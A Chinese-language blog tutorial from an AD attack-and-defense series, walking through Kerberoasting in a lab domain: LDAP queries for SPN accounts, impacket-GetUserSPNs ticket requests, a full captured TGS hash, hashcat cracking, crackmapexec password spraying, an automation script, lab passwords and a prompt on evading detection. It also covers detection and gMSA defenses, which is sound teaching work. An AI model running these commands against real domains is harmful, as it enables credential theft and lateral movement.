iT邦幫忙

2025 iThome 鐵人賽

DAY 4
2
Security

資安這條路:AD 攻防實戰演練系列 第 4 篇

AD 攻防實戰演練 Day 4: Kerberoasting 實戰 - 服務帳號密碼獵取

  • 分享至 

  • xImage
  •  

image

本日學習目標

今天我們要深入學習 Kerberoasting - 一個針對服務帳號的強大攻擊技術。這是從「擁有基礎憑證」進階到「獵取服務帳號密碼」的關鍵技巧。我們將學習如何識別、攻擊並破解服務帳號,最終取得更高權限的存取。


前置知識回顧與專有名詞

成果確認

在開始之前,確保已經完成:

  • 取得兩組有效憑證:samwell.tarly:Heartsbane 和 brandon.stark:iseedeadpeople
  • 了解環境中的 SMB 簽章狀態(CASTELBLACK 和 BRAAVOS 未啟用)
  • 熟悉基本的 Kerberos 認證流程

工具準備

# 確認 Impacket 工具已安裝
which impacket-GetUserSPNs || sudo apt install python3-impacket -y

# 確認 hashcat 已安裝
which hashcat || sudo apt install hashcat -y

# 確認 ldapsearch 已安裝
which ldapsearch || sudo apt install ldap-utils -y

# 準備字典檔
ls /usr/share/wordlists/rockyou.txt || sudo gunzip /usr/share/wordlists/rockyou.txt.gz

image

核心概念

SPN (Service Principal Name)

  • 是什麼:服務在 AD 中的唯一識別碼,像服務的「身分證」
  • 格式範例:
    • MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 - SQL 服務
    • HTTP/web01.domain.local:80 - Web 服務
    • HOST/dc01.domain.local - 主機服務
  • 為什麼重要:有 SPN = 可被 Kerberoasting 攻擊
  • 關鍵差異:
    • 電腦帳號:120 字元隨機密碼(幾乎無法破解)
    • 使用者帳號:人類設定的密碼(可能較弱)

Kerberos 票證系統

  • TGT (Ticket Granting Ticket):初始認證票證,像是「通行證」
  • TGS (Ticket Granting Service):服務票證,像是「入場券」
  • 加密機制:
    • TGT:用 krbtgt 帳號密碼加密
    • TGS:用服務帳號密碼加密(攻擊關鍵!)

攻擊技術對比

技術 需要憑證 目標 風險等級 偵測難度
ASREPRoasting ❌ 不需預認證的帳號 高 困難
Kerberoasting ✅ 服務帳號 高 中等
Pass-the-Hash Hash 任意主機 高 中等
Golden Ticket krbtgt hash 整個網域 極高 困難

學習路線圖

學習路線圖


Part 1:Kerberoasting 原理深度剖析

1.1 完整的 Kerberos 服務存取流程

正常流程

image

正常的 Kerberos 三步驟

步驟 1:初始認證(AS-REQ/AS-REP)
使用者 → KDC:「我是 samwell.tarly,給我 TGT」
KDC → 使用者:「這是你的 TGT」(用 krbtgt 密碼加密)

步驟 2:請求服務票證(TGS-REQ/TGS-REP)
使用者 → KDC:「我要存取 SQL 服務,這是我的 TGT」
KDC → 使用者:「這是 SQL 的服務票證」(用 sql_svc 密碼加密)

步驟 3:存取服務(AP-REQ/AP-REP)
使用者 → SQL Server:「我要使用服務,這是 TGS」
SQL Server:(用自己的密碼解密 TGS)「驗證成功,開始服務」

Kerberoasting 攻擊差異

攻擊者的做法:
步驟 1:正常取得 TGT ✓
步驟 2:請求服務票證 ✓
步驟 3:不送給服務!改為離線破解 TGS 取得密碼

關鍵洞察

為什麼 TGS 用服務帳號密碼加密?

  • KDC 和服務共享服務帳號的密碼
  • 確保只有真正的服務能解密票證
  • 防止偽造服務

攻擊利用點:

  • 任何有效使用者都可請求 TGS
  • KDC 不驗證使用者是否真的要使用服務
  • TGS 可離線破解,不會觸發登入失敗

1.2 加密類型與破解難度

加密類型 Etype Hash 前綴 Hashcat 模式 破解難度
RC4-HMAC 23 $krb5tgs$23$ -m 13100 容易
AES-128 17 $krb5tgs$17$ -m 19600 中等
AES-256 18 $krb5tgs$18$ -m 19700 困難

重要提示: RC4 雖然較弱,但為了向後相容,許多環境仍然支援!


Part 2:尋找有 SPN 的帳號

2.1 使用 LDAP 查詢(有憑證)

# 使用已知憑證查詢所有有 SPN 的使用者
ldapsearch -x -H ldap://192.168.139.11 \
    -D 'NORTH\samwell.tarly' -w 'Heartsbane' \
    -b 'DC=north,DC=sevenkingdoms,DC=local' \
    '(&(objectClass=user)(servicePrincipalName=*))' \
    sAMAccountName servicePrincipalName distinguishedName

參數說明:

  • -x:簡單驗證 (Simple Bind),不使用 SASL。
  • -H:指定 LDAP 伺服器,這裡為 192.168.139.11。
  • -D / -w:登入使用者與密碼 (samwell.tarly / Heartsbane)。
  • -b:Base DN,搜尋範圍從 DC=north,DC=sevenkingdoms,DC=local 展開。
  • 過濾條件:(&(objectClass=user)(servicePrincipalName=*))
    僅回傳「類型為使用者,且設定了 SPN」的物件。
  • 屬性輸出:帳號名稱 (sAMAccountName)、SPN (servicePrincipalName)、完整 DN。

image

深入解析

為什麼執行:

  • 精確找出所有可被 Kerberoasting 的目標
  • 服務帳號通常有高權限(資料庫、Web 服務等)
  • 服務帳號密碼常年不變,可能較弱

LDAP 過濾器解釋:

(&                              # AND 運算
  (objectClass=user)           # 只找使用者(排除電腦)
  (servicePrincipalName=*)     # 有 SPN 屬性
)

預期結果:

# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433

# jon.snow, Users, north.sevenkingdoms.local  
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local

image

第一個帳號:sql_svc

# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
各欄位解釋:
  1. 註解行 # sql_svc, Users, north.sevenkingdoms.local
    • LDAP 自動產生的註解,顯示物件的簡化路徑
    • 表示:sql_svc 帳號位於 Users 容器,屬於 north.sevenkingdoms.local 網域
  2. dn (Distinguished Name):CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    • 物件在 AD 中的完整唯一識別路徑
    • 解構:
      • CN=sql_svc:Common Name,物件名稱是 sql_svc
      • CN=Users:位於 Users 容器中(預設使用者存放位置)
      • DC=north,DC=sevenkingdoms,DC=local:網域組成(north.sevenkingdoms.local)
  3. sAMAccountName:sql_svc
    • 登入帳號名稱(Security Account Manager Account Name)
    • 這是實際用來登入的使用者名稱
  4. servicePrincipalName:MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
    • 這是 Kerberoasting 攻擊的關鍵!
    • SPN 格式分解:
      • MSSQLSvc:服務類型(Microsoft SQL Server)
      • castelblack.north.sevenkingdoms.local:服務執行的主機名稱
      • 1433:服務埠號(SQL Server 預設埠)
    • 意義:表示 sql_svc 帳號用於在 CASTELBLACK 伺服器上執行 SQL Server 服務

第二個帳號:jon.snow

# jon.snow, Users, north.sevenkingdoms.local  
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local
各欄位解釋:
  1. dn:CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    • jon.snow 帳號的完整 AD 路徑
    • 同樣位於 Users 容器中
  2. sAMAccountName:jon.snow
    • 登入名稱為 jon.snow
    • 注意:被設定了 SPN
  3. servicePrincipalName:HTTP/winterfell.north.sevenkingdoms.local
    • SPN 格式分解:
      • HTTP:服務類型(Web 服務)
      • winterfell.north.sevenkingdoms.local:服務主機名稱
      • 沒有指定埠號(HTTP 預設使用 80/443)
    • 意義:jon.snow 帳號可能用於 IIS 應用程式或其他 Web 服務

Part 3:執行 Kerberoasting 攻擊

3.1 使用 Impacket 基礎攻擊

# 請求所有服務票證
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -dc-ip 192.168.139.11 -request

深入解析

參數說明:

  • north.sevenkingdoms.local/samwell.tarly:Heartsbane:網域/使用者:密碼
  • -dc-ip 192.168.139.11:指定 DC IP(避免 DNS 問題)
  • -request:實際請求票證(否則只列出)

預期輸出:

ServicePrincipalName                                  Name     MemberOf  PasswordLastSet
----------------------------------------------------  -------  --------  -------------------
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc            2024-01-01 12:00:00
HTTP/winterfell.north.sevenkingdoms.local            jon.snow           2024-01-01 12:00:00

$krb5tgs$23$*sql_svc$NORTH.SEVENKINGDOMS.LOCAL$MSSQLSvc/castelblack.north...
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$HTTP/winterfell.north...

3.2 進階選項與技巧

針對特定使用者

# 只攻擊特定使用者
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -dc-ip 192.168.139.11 -request-user sql_svc

image

3.3 儲存 Hash 進行破解

儲存並破解hash:

cat > jon.snow.hash << 'EOF'
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$b46e4c9cad8a8c8f0375032c4ca16cca$e8c5a4ca8eb016dd2a82dac7c28ff124f8da26cc7b74bbafd4cf41bd2d08c484db62817a8a874c03b90ba714d9145ba427a06785fccc133c875813f1cecf51baba2da7ff8984946d79aa49e5b4f29d51acf796471c106d7fe7ff7396237e31599f25fd29131cac9b28fbc973e58d3aa79b7970d76569ed0d91297e117cd84e52d3f9b3b1f55e1a6d5460d2bd0adbaa32da7d2c9611adc18afa192873584fdf5c275da7e5d477959e4cc40b69630eada68e925561b95ae8be229675a5ac2c383de571223bd7fc2109a9a9af521652fae4778ab5cba7742cc9156dd49f51e92126ccef44bf3a1a5b4369631db87fbc1a92cbeb293948e3c8d1394410790effd0cea5c69036d2fc342122df58322007c678e45241a484fb397ab8b554b163357fe228c336b9176c1617e76b6637fec79bfb91f269171de9a5b35391eabc580987b79da7a3d4a2ad1b61aaf01e2a4a5a699d88954bb3aa056750ba88ff5e2429c0cb4e54b50dee514eb398d7e633ff2f78fafab602a7ce345bcacbb9dd829a3f68f572cb493df3c955615f89acbac3cbbc837d9a112fb966b22ec7dac8eda32d9f0f0894bb5dd4d4ad750513334d5aa42620d7a9219af59e7b00badbc7dd49dc2e3b472b9cf22483cf8cb6087396b61c069568944b05f1b25b1ed913f768653de756577e095180d5efa505094986994220c1fec234a8e072bd3720211748afa4dcd6dff9791822ec0fe738d01e7f4f32c986c6e341dbde22bc03f63232afd702646dc46087a2c2c1b2eebcf3c39f4f5a8164ed2989bfbe010e475f760d836b4149c6ccee156facdd16cca654a15711433a26a48f503fcf0309c85d5b030d962c4c7dff954e4e23b903d1a79fd67a4d69a4229f7a5caa85cb978774705fbd13c311a67348366d7f0d3a1986d631890e751050224b11b7936286a1fc65d94cc25f7e5b81f836ba08ce66bd9ea452e9245e06053ab9a30b0f664d6946e59317e3359df870c631359d72aa04226e65d88ec53bbe02bc2352d03d09eb7b2ec9185dd8b4d70ff0ba2ce2fde699a47ad6d8358fc9ae7ae73ad8dbb62a60a1e4212627cff2396c2d23b0aa9de9a887716d9666b516e586a6a1468c46d380f4e7733d2987c0ccb2366b198bf8564057fdbcae0fa741cf2728fe936757e0afd72db59061464e891b616c8da31277254ee8e1f50426c66154abd4a9419048797daea290fec9b3b39b214c724385647814d31e7a045ed6cfc2f476749db5ca05348f7fa3166d35aa9ac9c359ef0485c49434715af94b5949415a2e9110131d18504bfc924dc9ade00c3679ae1f3d826f287a329e2a175c1304e30f8c0d26d5c5687bd88a091649fd0bb885ce1be95f6765a0378698b927fb0887b9c9f0cae9c5933f1478b4279e6ffb6078527f526c98c34efd794eccb2fdded07200ee59a825a4cda7f51f55852f7a1f45c959b99d9de597f364690f7b835c44d6740585b7e9b0f4645edcff48ee408b732de40d1d62f15d6c24d4d81e
EOF

image
image


Part 4:破解服務帳號密碼

4.1 基礎破解技術

# 使用hashcat破解
hashcat -m 13100 sql_svc.hash /usr/share/wordlists/rockyou.txt --force
# 使用hashcat破解
hashcat -m 13100 jon.snow.hash /usr/share/wordlists/rockyou.txt --force

image

取得 jon.snow 密碼iknownothing

Hashcat 參數:

  • -m 13100:Kerberos 5 TGS-REP etype 23 (RC4)
  • --force:忽略警告(VM 環境常需要)
  • --status:顯示即時狀態

4.2 處理不同加密類型

# AES-128 (etype 17)
hashcat -m 19600 aes128.hash /usr/share/wordlists/rockyou.txt --force

# AES-256 (etype 18)  
hashcat -m 19700 aes256.hash /usr/share/wordlists/rockyou.txt --force

破解時間對比(相同硬體):

  • RC4:1 小時
  • AES-128:8 小時
  • AES-256:24+ 小時

Part 5:驗證破解的密碼

5.1 測試憑證有效性

# 測試 jon.snow 的密碼
crackmapexec smb 192.168.139.0/24 -u jon.snow -p iknownothing

image

預期結果:

SMB  192.168.139.11  445  WINTERFELL     [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB  192.168.139.22  445  CASTELBLACK    [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB  192.168.139.23  445  BRAAVOS        [+] essos.local\jon.snow:iknownothing

5.2 檢查權限等級

# 查看共享資料夾權限
crackmapexec smb 192.168.139.22 -u jon.snow -p iknownothing --shares

image

結果分析:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin  ← 無存取權限
all             READ,WRITE      Basic RW share  ← 可讀寫!
C$                              Default share  ← 無存取權限
IPC$            READ            Remote IPC
public          READ            Basic Read share for all domain users

Part 6:防禦與偵測

6.1 偵測指標 (IOCs)

監控以下 Windows 事件:

Event ID 4769 - Kerberos Service Ticket Operations
- 異常:短時間內大量不同服務的請求
- 異常:使用者請求從未使用過的服務
- 異常:加密類型降級(AES → RC4)

6.2 防禦措施

立即改善

# 1. 檢查所有有 SPN 的使用者帳號
ldapsearch -x -H ldap://DC_IP -D "admin@domain" -w "password" \
    '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName

# 2. 確認服務帳號使用強密碼(25+ 字元)
# 3. 考慮改用 gMSA(群組受管理服務帳號)
# 4. 停用 RC4,只使用 AES

蜜罐帳號設定

# 建立誘餌 SPN 監控 Kerberoasting
# 任何對此帳號的 TGS 請求都應觸發警報

攻擊成果總結

憑證收集進度

使用者 密碼 取得方式 權限等級
samwell.tarly Heartsbane 描述欄位 一般使用者
brandon.stark iseedeadpeople ASREPRoasting 一般使用者
jon.snow iknownothing Kerberoasting 跨網域存取

技術成效對比

技術 成功率 破解時間 偵測風險
ASREPRoasting 低(需特定設定) 快 低
Kerberoasting (RC4) 高 快 中
Kerberoasting (AES) 高 慢 中
無憑證 Kerberoasting 極低 快 低

實戰小技巧

自動化腳本

#!/bin/bash
# kerberoast.sh - 自動化 Kerberoasting 腳本

DOMAIN="$1"
USER="$2"
PASS="$3"
DC_IP="$4"

echo "[+] 尋找 SPN 帳號..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP > spn_users.txt

echo "[+] 請求所有票證..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request \
    -outputfile kerberoast_hashes.txt

echo "[+] 開始破解..."
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    --force --potfile-path=cracked.pot

echo "[+] 顯示破解結果..."
hashcat -m 13100 kerberoast_hashes.txt --show

指令速查

用途 指令
查詢 SPN ldapsearch -x -H ldap://<DC> '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName
Kerberoasting impacket-GetUserSPNs domain/user:pass -dc-ip <DC> -request
破解 RC4 hashcat -m 13100 hash.txt wordlist.txt
破解 AES-128 hashcat -m 19600 hash.txt wordlist.txt
破解 AES-256 hashcat -m 19700 hash.txt wordlist.txt
驗證密碼 crackmapexec smb <IP> -u user -p password

本日任務檢查清單

  • [ ] 使用 LDAP 找出所有有 SPN 的帳號
  • [ ] 執行 Kerberoasting 取得 TGS hash
  • [ ] 成功破解一個服務帳號密碼
  • [ ] 驗證破解的密碼在哪些系統可用
  • [ ] 嘗試強制 RC4 降級攻擊
  • [ ] 記錄所有取得的憑證

思考題

  1. 為什麼服務帳號常使用弱密碼?

    提示:服務穩定性 vs 安全性、密碼輪換的挑戰

  2. RC4 vs AES 的取捨?

    提示:向後相容、破解難度、企業環境現實

  3. 如何在不被偵測的情況下執行 Kerberoasting?

    提示:時間間隔、目標選擇、正常行為模擬


延伸閱讀


小試身手

題 1

Kerberoasting 的關鍵前提是什麼?
A. 目標服務使用電腦帳號(machine$)作為 SPN。
B. 攻擊者需取得 krbtgt 帳號的 hash 才能請求 TGS。
C. 任何有有效使用者憑證的人都能向 KDC 請求服務票證 (TGS)。
D. Kerberoasting 只能在啟用 RC4 的環境發生。
正確答案:C。
解析:KDC 允許任何有效憑證請求 TGS,攻擊者可取得用服務帳號加密的 TGS 並離線破解。電腦帳號通常不可行(A錯),不需 krbtgt(B錯),也不只限於 RC4(D錯,AES 亦可)。


題 2

下列哪一項最能降低 Kerberoasting 成功率?
A. 使用短且固定的服務帳號密碼。
B. 使用群組受管理服務帳號(gMSA)或 Managed Service Account 並定期輪換密碼。
C. 把服務帳號改成電腦帳號(machine$)。
D. 在 Domain Controller 上停用 Kerberos。
正確答案:B。
解析:gMSA 自動管理密碼並頻繁輪換,大幅降低長期弱密碼被破解的風險。C 不實際且影響功能;D 會破壞正常認證。


題 3

Impacket 的 GetUserSPNs 輸出 $krb5tgs$23$... 格式表示哪種加密類型?
A. AES-128
B. AES-256
C. RC4-HMAC (etype 23)
D. DES
正確答案:C。
解析:$krb5tgs$23$ 對應 etype 23,即 RC4-HMAC,hashcat 模式為 13100。


題 4

在偵測 Kerberoasting 時,下列哪一項是合理的 SIEM 告警規則?
A. 監控來源 IP 對單一 SPN 的所有 TGS 請求在 1 分鐘內超過 100 次。
B. 監控單一使用者短時間內請求多個不同服務(多個 SPN)的 TGS。
C. 監控所有成功的 NTLM 驗證。
D. 僅監控 4624 事件就能偵測所有 Kerberoasting。
正確答案:B。
解析:Kerberoasting 常見行為是同一使用者在短時間內請求多個服務票證;A 雖極端但可能誤判,C/D 不足以專門偵測 Kerberoast 行為。


題 5

關於使用 hashcat 破解 Kerberoast hash,下列敘述何者正確?
A. AES-256 的 krb5tgs(etype 18)永遠比 RC4 更容易破解。
B. 在未取得 GPU 的情況下,破解 AES-256 仍然快速且實用。
C. 可以用字典 + 規則(rule)或 mask 來提高破解成功率。
D. 一旦 hash 存在於檔案中,就沒必要保護該檔案(可任意分享)。
正確答案:C。
解析:使用規則或 mask 可以顯著提升成功率(C正確)。A/B 錯誤(AES 比 RC4 更難,且 AES-256 在無強大 GPU 時非常耗時)。D 極度錯誤 — hash/potfile 必須保護。


上一篇
AD 攻防實戰演練 Day 3:AD 使用者列舉與憑證獵取
下一篇
AD 攻防實戰演練 Day 5:BloodHound - 視覺化 AD 攻擊路徑
系列文
資安這條路:AD 攻防實戰演練 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言